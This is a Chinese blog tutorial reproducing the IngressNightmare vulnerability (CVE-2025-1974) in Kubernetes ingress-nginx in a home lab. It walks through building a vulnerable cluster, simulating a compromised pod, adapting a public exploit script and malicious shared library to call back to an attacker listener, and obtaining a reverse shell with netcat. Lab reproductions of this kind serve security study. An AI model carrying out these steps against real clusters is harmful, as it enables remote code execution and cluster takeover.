【云安全】云原生- K8S IngressNightmare CVE-2025-1974（漏洞复现完整教程）

最新推荐文章于 2025-04-29 13:22:56 发布
最新推荐文章于 2025-04-29 13:22:56 发布
阅读量1.3k 收藏 25
点赞数 24
文章标签： 云原生 kubernetes 容器 web安全 网络安全 k8s 安全威胁分析
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ggqiuhui/article/details/147194912
版权

漏洞原理

CVE-2025-1974: The IngressNightmare in Kubernetes | Wiz Blog

分两方面：

a、配置注入过程

  1. 构造一个恶意的Ingress资源，其中注入ssl_engine指令指向恶意共享库
  2. 向准入控制器验证端点（AdmissionWebhook）发送AdmissionReview请求（刚才的恶意Ingress资源）
  3. AdmissionWebhook验证通过
  4. Ingress-NGINX Controller监听到Ingress资源变更，在内存中生成配置文件
  5. Ingress-NGINX Controller调用 nginx -t 命令检查配置语法是否合法，触发RCE，反弹shell

b、投递恶意共享库过程

  1. 编译恶意共享库
  2. 构造特殊HTTP请求（旨在触发Nginx特性）投递恶意共享库
  3. Nginx实例处理HTTP请求，由于Nginx特性生成临时文件（保持文件描述符FD打开）
  4. 多次发送AdmissionReview请求爆破文件描述符FD（即并发上述a过程）

环境搭建

安装K8S

版本选择：先看Ingress漏洞版本，倒推K8S版本，参考ingress-nginx官方适配表

https://github.com/kubernetes/ingress-nginx

SupportedIngress-NGINX versionk8s supported versionAlpine VersionNginx VersionHelm Chart Version
🔄v1.12.11.32, 1.31, 1.30, 1.29, 1.283.21.31.25.54.12.1
🔄v1.12.01.32, 1.31, 1.30, 1.29, 1.283.21.01.25.54.12.0
🔄v1.12.0-beta.01.32, 1.31, 1.30, 1.29, 1.283.20.31.25.54.12.0-beta.0
🔄v1.11.51.30, 1.29, 1.28, 1.27, 1.263.21.31.25.54.11.5
🔄v1.11.41.30, 1.29, 1.28, 1.27, 1.263.21.01.25.54.11.4
🔄v1.11.31.30, 1.29, 1.28, 1.27, 1.263.20.31.25.54.11.3
🔄v1.11.21.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.2
🔄v1.11.11.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.1
🔄v1.11.01.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.11.0
v1.10.61.30, 1.29, 1.28, 1.27, 1.263.21.01.25.54.10.6
v1.10.51.30, 1.29, 1.28, 1.27, 1.263.20.31.25.54.10.5
v1.10.41.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.4
v1.10.31.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.3
v1.10.21.30, 1.29, 1.28, 1.27, 1.263.20.01.25.54.10.2
v1.10.11.30, 1.29, 1.28, 1.27, 1.263.19.11.25.34.10.1
v1.10.01.29, 1.28, 1.27, 1.263.19.11.25.34.10.0
v1.9.61.29, 1.28, 1.27, 1.26, 1.253.19.01.21.64.9.1
v1.9.51.28, 1.27, 1.26, 1.253.18.41.21.64.9.0
v1.9.41.28, 1.27, 1.26, 1.253.18.41.21.64.8.3
v1.9.31.28, 1.27, 1.26, 1.253.18.41.21.64.8.*
v1.9.11.28, 1.27, 1.26, 1.253.18.41.21.64.8.*
v1.9.01.28, 1.27, 1.26, 1.253.18.21.21.64.8.*
v1.8.41.27, 1.26, 1.25, 1.243.18.21.21.64.7.*
v1.7.11.27, 1.26, 1.25, 1.243.17.21.21.64.6.*
v1.6.41.26, 1.25, 1.24, 1.233.17.01.21.64.5.*
v1.5.11.25, 1.24, 1.233.16.21.21.64.4.*
v1.4.01.25, 1.24, 1.23, 1.223.16.21.19.10†4.3.0
v1.3.11.24, 1.23, 1.22, 1.21, 1.203.16.21.19.10†4.2.5

搭建K8S可参照我上篇文章：

【云安全】云原生-centos7搭建/安装/部署k8s1.23.6单节点-CSDN博客

我之前搭过一版K8S，是1.23.6，因此对应安装1.6.4的ingress，处于漏洞版本内

安装Ingress

推荐大佬 Dubito 微信公众号“云原生安全指北”的文章，写得很详细！

【漏洞复现】IngressNightmare CVE-2025-1974 RCE漏洞复现（万字长文|图文并茂|有手就能跟）

1、下载对应版本Ingress的deployment

export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.6.4/deploy/static/provider/baremetal/deploy.yaml

2、更换镜像源

首先，查询所需镜像 

cat deploy.yaml | grep image:

​

其次，使用 渡渡鸟镜像同步站 搜索关键词：ingress-nginx/controller:v1.6.4，更改成该网站的镜像地址即可，对应改成如下三条

swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.6.4
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343

3、部署Ingress

#部署前先取消代理
unset http_proxy
unset https_proxy
#部署
kubectl apply -f deploy.yaml
#验证
kubectl get all -n ingress-nginx

验证发现这时POD处于pending状态，使用如下命令查看原因

kubectl describe pod ingress-nginx-controller-85f587f9d4-bt58m -n ingress-nginx

主要看Events

​

这是因为单节点部署，而master默认存在污点设置，导致POD无法调度，可通过命令查看并移除污点

kubectl get node
kubectl describe node master-1 | grep Taint
kubectl taint nodes master-1 node-role.kubernetes.io/master:NoSchedule-
kubectl describe node master-1 | grep Taint

​

再次查看ingress状态，成功安装！

​

模拟失陷POD

1、本地Docker打镜像

cat <<EOF >Dockerfile
# 使用官方Python基础镜像
FROM python:3.11.7

# 设置工作目录
WORKDIR /app

# 安装httpx库
RUN pip install --no-cache-dir httpx

# 设置容器启动时运行的命令
CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]
EOF


#构建命令
docker build -t python-test-ingress-nginx .

2、把 Docker 镜像导入到 K8s 用的 containerd

docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -

#确认镜像是否导入成功
sudo ctr -n k8s.io image ls | grep python

 3、K8s部署镜像，模拟失陷POD

首先，编写deployment文件python_deploy.yaml

cat <<EOF >python_deploy.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: python-app
  namespace: test
spec:
  replicas: 1
  selector:
    matchLabels:
      app: python-app
  template:
    metadata:
      labels:
        app: python-app
    spec:
      containers:
      - name: python-container
        image: docker.io/library/python-test-ingress-nginx:latest
        imagePullPolicy: Never
EOF

其次，执行命令部署

kubectl create ns test
kubectl apply -f python_deploy.yaml
#验证状态
kubectl get pod -n test

漏洞复现

1、准备武器（prepare tools）

（1）下载EXP

GitHub - yoshino-s/CVE-2025-1974

export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"

git clone https://github.com/yoshino-s/CVE-2025-1974.git
cd CVE-2025-1974/

（2）修改EXP

vim exploit.py

由于我这里的环境是模拟失陷POD（贴近实际），属于集群内部网络访问，无需端口转发，用第6、7行的URL即可，注释12、13行；

修改第25、26行PID值和FD值，根据经验判断或者进入ingress容器查看进程可知PID值大约为26开始，FD值大约为6开始

完善脚本，删除47行的 return 

修改shell.c

vim shell.c

服务器地址改成自己攻击机的监听地址

2、打造武器

编译前，先了解ingress-nginx controller执行.so文件依赖的库版本，编译时指定同样的库版本

kubectl get pod -n ingress-nginx

kubectl exec -it -n ingress-nginx ingress-nginx-controller-85f587f9d4-gwm8r -- bash
#进入ingress容器之后执行
find / -name "libcrypto.so*" 2>/dev/null

确认ingress-nginx controller容器中库版本是3版本 

同样，看一下编译的机器库版本，发现有3版本可以用

于是使用下面的命令指定库进行编译

gcc -fPIC -Wall -shared -o shell.so shell.c /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs/usr/lib/x86_64-linux-gnu/libcrypto.so.3

#验证
ldd shell.so

3、上传武器

上传以下三个文件到失陷POD

#查看POD名称
kubectl get pod -n test
#上传
kubectl cp ./shell.so -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./exploit.py -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./req.json -n test python-app-94bdc8d99-prz64:/app/

4、攻击机进行监听

nc -lvnp 7788

5、attack

进入失陷POD执行EXP

kubectl exec -it -n test python-app-94bdc8d99-prz64 -- bash

#进入POD后执行
python exploit.py

成功反弹shell

仇辉攻防
关注
Kubernetes Ingress-NGINX Controller 存在未授权远程代码执行漏洞(CVE-2025-1974)
m0_50125527的博客
04-03 331
Ingress-NGINX 是 Kubernetes 中基于 NGINX 的官方 Ingress 控制器，用于管理集群入口流量。它通过监听 Kubernetes Ingress 资源规则，动态配置 NGINX 作为反向代理和负载均衡器，支持路径路由、TLS 终止、域名映射等特性，是生产环境中常用的高性能、可扩展的流量管理解决方案。
CVE-2022-26923 ADCS权限提升漏洞
总有人间一两风，填我十万八千梦
05-22 5105
CVE-2022-26923是一个影响微软Active Directory证书服务（AD CS）的权限提升漏洞。
【漏洞复现】CVE-2025-24813：Apache Tomcat 远程代码执行漏洞
网络安全相关技术分享
04-07 869
Tomcat 在特定配置下存在反序列化漏洞。攻击者可通过构造恶意请求，利用文件会话持久化机制将恶意序列化数据写入服务器，并在后续请求中触发反序列化操作，从而导致远程代码执行。
Ingress NGINX 控制器中存在严重漏洞可导致RCE
smellycat000的专栏
03-25 1175
这些漏洞（CVE-2025-24513、CVE-2025-24514、CVE-2025-1097、CVE-2025-1098和CVE-2025-1974）的CVSS评分为9.8，被Wiz 公司命名为 “IngressNightmare”。Wiz 公司的云安全研究员 Hillai Ben-Sasson 提到，该攻击链主要涉及注入恶意配置，并利用它读取敏感文件和运行任意代码，从而导致攻击者滥用强Service Account，读取 Kubernetes 机密并最终导致接管集群。觉得不错，就点个 “
CVE-2025-1974 - Ingress NGINX 9.8 中存在严重未经身份验证的远程代码执行漏洞
技术超强的网络安全平台
04-27 972
Ingress NGINX 控制器是 Kubernetes 上最受欢迎的入口控制器之一，也是 Kubernetes 的核心项目，在GitHub上拥有超过 18,000 颗星。使用 Ingress-NGINX 是向外部公开 Kubernetes 应用程序的最常用方法之一。作为入口控制器，它的工作是接受传入的流量并将其路由到相关的 Kubernetes 服务，然后服务会根据一组规则将流量转发到相应的 Pod。具体来说，Ingress NGINX 控制器基于流行的NGINX 反向代理。
云原生周刊：Ingress-NGINX 漏洞
KubeSphere
03-25 1865
KubeSphere 已被 Aqara 智能家居、本来生活、东方通信、微宏科技、东软、华云、新浪、三一重工、华夏银行、四川航空、国药集团、微众银行、紫金保险、去哪儿网、中通、中国人民银行、中国银行、中国人保寿险、中国太平保险、中国移动、中国联通、中国电信、天翼云、中移金科、Radore、ZaloPay 等海内外数万家企业采用。Flyte 支持分布式计算、可重复性和高效的资源管理，使团队能够轻松地构建、运行和监控大规模的机器学习和数据分析工作流，支持多云和本地环境的部署。
CVE-2025-21756：Linux内核微小漏洞如何引发完整Root提权攻击（含PoC发布）
最新发布
FreeBuf_的博客
04-29 602
补丁分析指出："传输重分配会触发vsock_remove_sock，进而调用vsock_remove_bound错误地减少vsock对象的引用计数器。通过用精心构造的管道缓冲区回收已释放的vsock套接字，并利用vsock_diag_dump作为侧信道，Hoefler暴力破解了有效的skc_net指针，从而绕过kASLR。攻击可劫持sk->sk_prot->close函数指针并转向ROP（面向返回编程）链："我们最感兴趣的是对sk->sk_prot->close(sk, 0)的调用。
centos8的openssh9.9p2 RPM包，解决漏洞CVE-2025-26465 和 CVE-2025-26466
03-04
OpenSSH 9.9p2版本是在CentOS 8环境下，针对两个安全漏洞CVE-2025-26465和CVE-2025-26466进行修复的升级版本。CVE-2025-26465漏洞描述为在处理加密过程中的边界条件时可能导致服务崩溃，而CVE-2025-26466则是由于...
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
本篇将详细讨论如何修补OpenSSH中的几个已知漏洞，包括CVE-2020-15778、CVE-2018-15473、CVE-2018-15919。 首先，让我们了解这些特定的漏洞： 1. CVE-2020-15778：这是一个与OpenSSH密钥协商过程相关的漏洞，可能...
漏洞复现--SysAid On-premise远程代码执行(CVE-2023-47246)
qq_53003652的博客
12-18 1371
SysAid On-premise 提供了诸如故障报告、资产管理、服务台支持、自动化流程等功能，以帮助 IT 团队更高效地工作。这种部署模式可以满足那些对数据安全性有更高要求的组织，同时也提供了更多的自定义和控制能力，以适应特定的业务需求和流程。该产品存在远程代码执行。
漏洞学习篇：CVE漏洞复现
ZL_1618的博客
12-26 955
攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护，则这些请求可能会成功。1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线。Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。可以看见，apache是49版本的。
CVE 漏洞的分析及复现
mkl7717的博客
05-20 1686
往下，调用了StringUtils.tokenizeToStringArray()方法，之前的/secret.html转化成了["secret.html"]这个数组，/./secret.html转换成了[".","secret.html"]/secret.html的 bypass 方式也是合理的，可能一些其他特殊字符也是可以的，前提是对请求并不造成影响，像..，#这类字符就会产生问题。继续往下走，判断 html 的目录与当前请求的目录是否相同，因为我们请求被拆分出来是。先说 PoC，未标准化路径造成。
CVE-2022-30190 漏洞复现
weixin_53884648的博客
11-10 6720
通过exp实现了对微软目前存在的office-word-2016的成功复现
【网络安全---漏洞复现】log4j2漏洞详细的复现和利用过程(CVE-2021-44228)
m0_67844671的博客
09-10 3878
Log4j2远程代码执行漏洞复现(cve-2021-44228)，漏洞复现详细过程，cve-2021-44228，Log4j2
CVE-2023-21839：Weblogic反序列化漏洞复现
薛定谔嘚喵博客
04-16 5085
WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值